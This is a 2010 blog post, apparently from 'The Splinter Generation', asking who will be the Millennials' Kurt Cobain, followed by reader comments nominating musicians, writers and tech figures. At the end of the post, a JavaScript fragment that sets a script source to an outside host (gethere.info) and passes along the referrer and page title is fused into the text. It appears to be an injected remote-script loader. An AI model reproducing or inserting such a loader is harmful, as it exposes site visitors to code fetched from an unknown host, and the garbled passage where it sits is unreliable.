Who Will Be Our Kurt Cobain?

leftycobainWhat do you think? Who will be the Millennial generation’s  (or, as we like to call it, The Splinter Generation’s) Kurt Cobain? Will there be more than one? Put musical, artistic, and literary nominations — especially artists we haven’t yet heard of — in the comments section. We’ll contact our favorites for interviews.


Over at Metro Spirit, a weekly in Augusta, Georgia, Dakota West asks:

“(W)ho is going to be the voice of “Generation Y?” Will it be Taylor Swift, with “Asking God if he could play it again,” maybe Jay Z with, “Mommy took a bus trip and now she got her bust out, everybody ride her, just like a bus route,” or how about Lady Gaga with, “I won’t tell you that I love you, kiss or hug you, cause I’m bluffin with my muffin.”

Damn, I hope not. I hope Generation Y finds their own Kurt Cobain one day. And soon.”kanye-west-singing

I couldn’t agree more. And I hope to God that none of the people she mentions (and I’d add Kanye West, who actually had the gall to declare himself the voice of “this generation”) become canonized by the press into becoming the “voice” of the millennials or Generation Y or The Splinter Generation, as we like to call it.

But more importantly than that, there’s a problem with looking for “a Kurt Cobain.” First,  it’s obvious that Kurt wasn’t the only “voice” of Gen X. But that said, I’d say we won’t just see our generation’s “voices” in the realm of celebrity because Kurt was one of the last real artists in the door before everything went to crap. He was one of the last to “make it big,” to become a part of the spectacle, before that door was shut to all except those thoroughly vetted by marketing executives and focus groups.

Remember that “Smells Like Teen Spirit” wasn’t popular until its success on college radio stations compelled MTV’s 120 Minutes (which aired in the middle of the night) to pick it up. Once it was on MTV, there was such an overwhelming grassroots demand for it that it became a Billboard hit. But it wasn’t produced and vetted by corporations, as all the artists being proposed above were, because it came from a grassroots movement. And remember Tupac, another figurehead for Gen X, had his start with Digital Underground before he made it big.  Now all new and exciting bands and rappers are coopted, bought out or destroyed by marketers before their real messages have a chance to be heard by the public.

77219205_biggerSo unless we want Kanye West or Lady Gaga (both of whom I actually like, but only sometimes because of their penchant for selling to the highest bidder) to be canonized as the voice of this generation, we’re going to have to come clean and admit that no generation should have a voice, because having a voice means that millions of other voices are silenced. It also means we have to sell out to the marketing executive who tells us how to coopt the largest number of people.

Says Splinter editor Andrew Panebianco:

“I think the idea of a solid generational sound, while possible maybe fifty years ago (and yes, only if we discount a hell of a lot of other voices), is probably impossible today.  We’re too fractured.  We are an archipelago rather than a continent.”

So let’s stop letting marketing executives and the media canonize our generational heroes, and lets figure out who some of them are for ourselves. Who would you nominate? Who are your favorite musicians and writers and artists of our generation, those who you think do a great job of speaking to what it means to be young and alive right now?

Put your ideas in the comments section below. We’d love to hear especially about people we’ve never heard of before. And we’d love their contact info, too, if you have it. Send that to splinterblog@gmail.com.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

14 comments for “Who Will Be Our Kurt Cobain?

  1. Seth
    April 1, 2010 at 11:16 am

    I’m gonna have to nominate Emily Jane White, who is incredible, and who I saw in concert last night and had the pleasure of interviewing. And it’s not just cause I used to be in a band with her. http://www.emilyjanewhite.com/

    Also, as for writers, I’d have to say Daniel Alarcon is definitely up there. http://www.danielalarcon.com/english/books/lost_city_radio/index.html

  2. Scott
    April 1, 2010 at 2:54 pm

    In a cheesy sense, the voice of a generation is us. But it’s not just rhetorical tripe. Blogs, YouTube and the widespread availability of A/V software allows anyone to be artist, producer and even A&R shark. Can I nominate YouTube or something?

    In a sadder sense, the one voice I could pick out as emblematic our worldview is… Colbert. He reflects perfectly the attitudes among a broad swath of our generation towards authority and commercialism.

  3. Newton
    April 1, 2010 at 4:33 pm

    bullshit, there’s no such thing as the “voice of a generation”. the term was invented by baby boomer journalists as an attempt to devour the soul of bob dylan, and hence acquire his power. that’s why you guys called us the “splinter gen” right?

  4. Seth
    April 1, 2010 at 4:36 pm

    Right, Newt! (Do you mind if I call you Newt?) :p That’s why we want voiceS, plural.

  5. April 2, 2010 at 3:23 pm

    I think Scott has a point. We are in a time where anyone and everyone can have a voice, and everyone is their own celebrity. It isn’t always something I praise since we also live in an age where “privacy” has become obsolete, but with things like youtube, music downloading, and blogs, we get to decide who are voices are.

    But if I were to pick someone I would pick Banksy.

  6. April 2, 2010 at 3:57 pm

    Ya know, I’ve never really bought into the whole voice of a generation either and I don’t know that it was true about other generations. Recording history, such as in anthologies, is so very subjective. Who will be in our canon and music memory will deal a lot with who the recorders of the history are…

  7. Andrew
    April 2, 2010 at 5:53 pm

    It’s Pandora radio. Algorithmic personalization, online, on-demand. That’s our generation’s sound. Hell, that’s our generation.

  8. April 2, 2010 at 9:14 pm

    I don’t think we’ll have a direct Cobain analog, a point well-covered already. However, the younger Splinters have an anthem in “Welcome to the Black Parade” by My Chemical Romance.

    I think we could stand to do far worse than to put Sam Beam (Iron & Wine) on a pedestal. A mellow elder with deep roots.

  9. April 2, 2010 at 11:26 pm

    Ha! Pandora. So true, Andrew. How would an interview with Pandora go? I would like to crack the science that is the rabbit hole of likes and dislikes. Or ask where songs go when Pandora says, “We will never play that song again”? That statement always feels so ominous. I like my options, Pandora. Don’t exile a song for eternity just put in on a shelf because I may want it later.

  10. April 17, 2010 at 2:50 pm

    She is a totally outstanding performer. I adore all of her albums.

  11. Jeremy
    April 22, 2010 at 8:12 am

    I agree with Scott and Xochitl. The “voice” of our Splinter Generation doesn’t seem to be a direct and singular voice (or at least not yet), such as that of Kurt Cobain’s, but rather a vast, and I would go so far as to say discombobulated, amalgamation of voices that have been allowed to take shape and be fostered by firstly the internet and then consequently the inventions of Google, Facebook, MySpace, Twitter, you name it. Is this a problem? It has, in a sense, certainly made us dependent. Perhaps the voices of our generation are people like Mark Zuckerberg or Steve Jobs, who have succeeded in creating and continuing to create/promote the connectedness that we all supposedly desire?

    This is slightly off topic, but I can’t help but be reminded of this article published in the July/August 2008 issue of Atlantic Monthly.

  12. July 21, 2010 at 6:13 am

    Without a doubt the canadian Journalist Naomi Klien was/is the voice of gen Y. The books No Logo and The Shock Doctrine Ring Any Bells.
    The time period spanning the beginning and end of Gen Y closely coincided with the rise of the most extreme period of Neo-liberal freemarket globalisation and the beginning of its collapse.

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